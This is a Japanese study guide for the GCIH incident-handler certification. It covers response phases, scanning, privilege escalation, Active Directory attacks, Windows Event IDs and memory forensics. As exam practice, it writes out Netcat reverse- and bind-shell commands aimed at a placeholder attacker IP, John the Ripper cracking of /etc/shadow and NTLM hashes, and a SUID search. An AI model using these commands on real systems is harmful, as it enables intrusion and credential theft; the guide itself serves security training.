

GCIH 試験完全網羅マスターガイド

GIAC Certified Incident Handler (SEC504) - The Ultimate Playbook

本書は、GCIH（GIAC Certified Incident Handler）試験の合格に向けて、試験範囲となる「インシデント対応プロセス」「攻撃手法」「ログ分析」「実技（Cyber Live）対象ツール」のすべてを網羅した究極の対策資料です。試験中の参照（Indexの補助）としても、直前の総復習用としても機能するように設計されています。

1. インシデント対応プロセス (PICERL)

GCIHにおける最重要理論体系です。試験では「現在発生している事象はどのフェーズに該当するか」「この状況で次にとるべきアクション（フェーズ）は何か」が必ず問われます。

フェーズ	目的と定義	具体例・試験でのキーワード
1. Preparation (準備)	インシデント発生「前」のすべての活動。ポリシー策定、ツールの導入、チームの訓練。	ポリシー更新、トレーニング、バックアップの取得、EDRの導入。
2. Identification (特定)	インシデントの検知と、被害範囲（スコープ）の特定。誤検知か真陽性かの判断。	IDSアラートの分析、異常なログオンの検知、マルウェアの感染範囲の特定（トリアージ）。
3. Containment (封じ込め)	被害の拡大を防ぐ（止める）ための短期・長期的な措置。	ネットワークからの切り離し、ポートのブロック、アカウントの無効化、VMのサスペンド。
4. Eradication (根絶)	システムから脅威を完全に取り除く（消す）措置。	マルウェアの削除、バックドア・不正なレジストリキーの削除、パッチの適用。
5. Recovery (復旧)	システムを安全に業務（生産環境）へ戻す措置。監視の強化。	クリーンなバックアップからのリストア、パスワードリセット後の業務再開、稼働後の監視強化。
6. Lessons Learned (教訓)	インシデント終了後のプロセスの見直し、事後報告（Post-Mortem）。	事後報告書の作成、インシデント対応計画の更新、マネジメントへの報告。

【試験の罫】 Containment と Eradication の境界線

「マルウェアの通信をファイアウォールでブロックした」＝これ以上被害を広げないため **Containment**。

「マルウェアの実行ファイルそのものを削除した」＝原因を排除するため **Eradication**。

「パスワードを変更した」＝攻撃者のアクセスを断つため Eradication、またはRecoveryの一部。

2. 情報収集とスキャン (Recon & Scanning)

攻撃の第一歩であり、インシデントハンドラーとしては「どのようなスキャンが来ているか」をIDSやパケットから見抜く力が問われます。

Nmap の極意

GCIHではNmapのフラグの意味と、パケットレベルでの挙動が問われます。

- **-sS (TCP SYN Scan):** ステルススキャン。SYNを送り、SYN/ACKが返ればRSTを送って接続を切る。ハーフオープン。最速で標準的。
- **-sT (TCP Connect Scan):** 完全な3-wayハンドシェイクを行う。ログに残りやすい。非特権ユーザーでも実行可能。
- **-sU (UDP Scan):** UDPポートの確認。ポートが閉じていれば ICMP Port Unreachable (Type 3, Code 3) が返る。開いていれば無応答、またはUDP応答。
- **-sV (Version Detection):** バナーグラブリング等を行い、動作しているサービスのバージョンを特定する。
- **-O (OS Detection):** TCP/IPスタックの応答のクセ (TTLやウィンドウサイズ等) からOSを推測する。
- **-T0 ~ -T5 (Timing):** スキャンの速度。T0 (Paranoid) はIDS回避に有用だが極めて遅い。T4が一般的。

Nmapのコマンド例と出力をファイルに保存 (-oA で全形式: xml, nmap, gnmap)

```
nmap -sS -sV -O -p- 10.10.10.50 -oA target_scan
```

3. エクスプロイトとシェル (Exploits & Shells)

脆弱性を突いてシステムに侵入した際、攻撃者は「シェル」を確立します。実技試験（Cyber Live）において、以下のコマンドは空で打てる必要があります。

Netcat (nc) の完全マスター

GCIHにおける Netcat は「TCP/UDPの読み書きができる万能ツール」です。

■ リバースシェル (Reverse Shell) - 試験頻出・攻撃側の基本

被害者（Target）から攻撃者（Attacker）へ接続を行う。ファイアウォール（アウトバウンド許可）をすり抜けやすい。

1. 攻撃者側（リスナー起動） - 待ち受け状態にする

```
nc -lvnp 4444
# -l: Listen, -v: Verbose, -n: No DNS resolution, -p: Port
```

2. 被害者側（ターゲット） - 攻撃者へ接続し、シェルを渡す

```
nc <Attacker_IP> 4444 -e /bin/bash # Linuxの場合
nc <Attacker_IP> 4444 -e cmd.exe   # Windowsの場合
```

■ バインドシェル (Bind Shell)

被害者側でポートを開いて待ち受け、攻撃者がそこに接続する。ファイアウォールで弾かれやすい。

1. 被害者側（ターゲット） - ポートを開いてシェルを紐付ける

```
nc -lvnp 4444 -e cmd.exe
```

2. 攻撃者側 - 被害者に接続する

```
nc <Target_IP> 4444
```

4. 権限昇格 (Privilege Escalation)

一般ユーザーで侵入後、Windowsでは SYSTEM、Linuxでは root 権限の奪取を試みます。

Windows の権限昇格

- **UAC Bypass (ユーザーアカウント制御の回避):** Administratorグループに属しているが制限トークンで動作している場合、fodhelper.exe 等のAuto-Elevate（自動昇格）バイナリとレジストリ（HKCU）を悪用して、警告なしに特権プロセスを実行する。

- **Token Impersonation (トークン偽装):** 攻撃者がSYSTEM等の高権限トークンを奪い、自分のプロセスに適用する。（例：Incognitoモジュール）
- **Potato Exploits (Juicy/God Potato):** ローカルのサービスアカウント（Network Service等）から、NTLMリレー/DCOMを悪用して NT AUTHORITY\SYSTEM に昇格する。
- **Unquoted Service Paths:** サービスパスが引用符で囲まれておらず、スペースを含む場合（例: C:\Program Files\My App\service.exe）、攻撃者は C:\Program.exe を配置してSYSTEM権限で実行させる。

Linux の権限昇格

- **SUID バイナリの悪用:** 実行時に所有者（root）の権限で動作するファイル（SUIDビットが立っている）を利用する。GTF0Binsなどを参照。
調査コマンド：find / -perm -4000 -type f 2>/dev/null
- **Sudoers ファイルの不備:** パスワードなしで特定のコマンドをsudo実行できる設定（NOPASSWD）を悪用する。
- **Cron ジョブ:** root権限で定期実行されるスクリプトが、一般ユーザーでも書き換え可能な場合、リバースシェルを追記する。

5. クレデンシャルアクセスと横展開 (Lateral Movement)

パスワードクラッキング

John the Ripper や Hashcat の使用法は実技で高確率で出題されます。

Linux のパスワードクラック (/etc/shadow)

```
unshadow /etc/passwd /etc/shadow > myhashes.txt  
john --wordlist=/usr/share/wordlists/rockyou.txt myhashes.txt
```

Windows NTLMハッシュのクラック

```
john --format=NT --wordlist=rockyou.txt ntlm_hashes.txt
```

Active Directory 環境での攻撃

攻撃名	メカニズム	対策・検知
Pass-the-Hash (PtH)	平文パスワードを知らなくても、NTLMハッシュ自体を認証トークンとして利用し、他のマシンにログインする。(Mimikatz等を使用)	LSA Protectionの有効化。Event ID 4624 (Logon Type 9 または 3) の監視。
Kerberoasting	SPN (Service Principal Name) を持つサービスアカウントのTGSチケットを要求し、メモリから抽出してオフラインでパスワードクラックする。	サービスアカウントに非常に長く複雑なパスワードを設定する。Event ID 4769 (TGS要求) の異常な増加、RC4暗号化の監視。
BloodHound	ADの構造をグラフ理論で可視化し、Domain Adminへ至る最短の特権昇格パス（誰がどのグループに属し、どのマシンにログインできるか）を洗い出すツール。	SharpHound（データ収集ツール）の実行検知。大量のLDAPクエリの監視。

6. 永続化 (Persistence) と防御回避

システム再起動後もアクセスを維持するための手法です。インシデント対応では、これらを取り除くこと (Eradication) が求められます。

- **Scheduled Tasks (タスクスケジューラ):** schtasks コマンドで定期実行タスクを作成。Event ID 4698。
- **Registry Run Keys:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run などに登録し、ユーザーログイン時にマルウェアを起動。Autoruns (Sysinternals) で調査。
- **Services (Windows サービス):** SYSTEM権限で自動起動する不正なサービスを作成。Event ID 7045。

- **Timestomp (タイムスタンプ改ざん):** 防御側のフォレンジック（タイムライン分析）を妨害するため、ファイルの作成日時/更新日時を過去の正規ファイルと同じ日時に書き換える。

7. ログ分析とフォレンジック (Windows イベントログ)

GCIHで最も暗記が求められるのがイベントIDです。以下のIDと意味、検知のポイントは「必ず」インデックスに登録してください。

Event ID	ログソース	意味とインシデント調査での重要性
4624	Security	ログオン成功。 最重要。Logon Typeを確認する。 • Type 2: 対話型（ローカルキーボード/画面） • Type 3: ネットワーク（PsExecやファイル共有など。横展開の証拠） • Type 10: RDP（リモートデスクトップ）
4625	Security	ログオン失敗。 短期間に大量発生していればブルートフォース攻撃。
4688	Security	新しいプロセスの作成。 実行されたコマンドライン引数（cmd.exe /c powershell -enc... など）が記録されるため、マルウェアの実行証拠となる。
7045	System	新しいサービスのインストール。 永続化（Persistence）や、PsExecの使用時に記録される。
4698	Security	スケジュールされたタスクの作成。 永続化の痕跡。
4720	Security	ユーザーアカウントの作成。 攻撃者がバックドア用のアカウントを作った証拠。
Sysmon 1	Sysmon	プロセスの作成（4688の強化版）。親プロセスID、ハッシュ値などが記録される。
Sysmon 3	Sysmon	ネットワーク接続の検知。プロセスが外部（C2サーバー等）と通信した証拠。
Sysmon 10	Sysmon	プロセスアクセス。MimikatzがLSASSメモリにアクセスした際の検知に有用。

8. 実技対策：パケット解析とメモリフォレンジック

Wireshark / Tcpdump フィルタリング

```
# tcpdump: SYNパケット（スキャン）のみを抽出
tcpdump -r capture.pcap "tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0"

# Tshark: HTTPリクエストのHostヘッダのみを抽出（C2ドメインの特定）
tshark -r capture.pcap -Y "http.request" -T fields -e http.host
```

Volatility 3 (メモリフォレンジック)

ダンプされたRAMからマルウェアを暴き出す実技必須ツールです。プラグイン名を暗記してください。

```
# プロセスツリーを表示。正規プロセスの子プロセスとして不審なcmd.exe等が動いていないか確認
vol -f memory.raw windows.pstree.PsTree

# メモリ上に残っているネットワーク接続を表示。ESTABLISHED状態の不審なIPを特定
vol -f memory.raw windows.netscan.NetScan

# プロセスメモリ内に隠された注入コード（インジェクション）を検出
vol -f memory.raw windows.malfind.Malfind
```


9. クラウドインシデント対応の基礎 (AWS / Azure)

近年のGCIHではクラウド環境のインシデント対応も出題されます。

- **AWS CloudTrail:** AWSインフラ内のAPIコール（誰が、いつ、何のリソースを変更したか）を記録する最重要ログ。ログの改ざんを防ぐため「ログファイルの検証」機能が重要。
- **SSRF (Server-Side Request Forgery):** クラウド環境で頻出する攻撃。Webアプリの脆弱性を突き、内部のメタデータサービス（AWSなら 169.254.169.254）にアクセスして一時的なIAMクレデンシャルを奪取する。
- **Azure AD (Entra ID) サインインログ:** 不正なログイン試行や、条件付きアクセス（Conditional Access）のバイパス状況を確認するために使用。

【最終チェック】本試験に向けたアドバイス

1. **Indexの精度が命：** ツールのオプション（例：`nmap -sV` の意味）、Event ID、Windows/Linuxコマンドラインパスは全てExcelのIndexに登録し、A-Z順で即座に引けるようにしてください。
2. **Cyber Liveで時間を使い切る：** 実技の配点が高いです。Volatility、John the Ripper、Netcat、Wiresharkの問題は絶対に落とさないよう、直前までコマンドのタイピングを練習してください。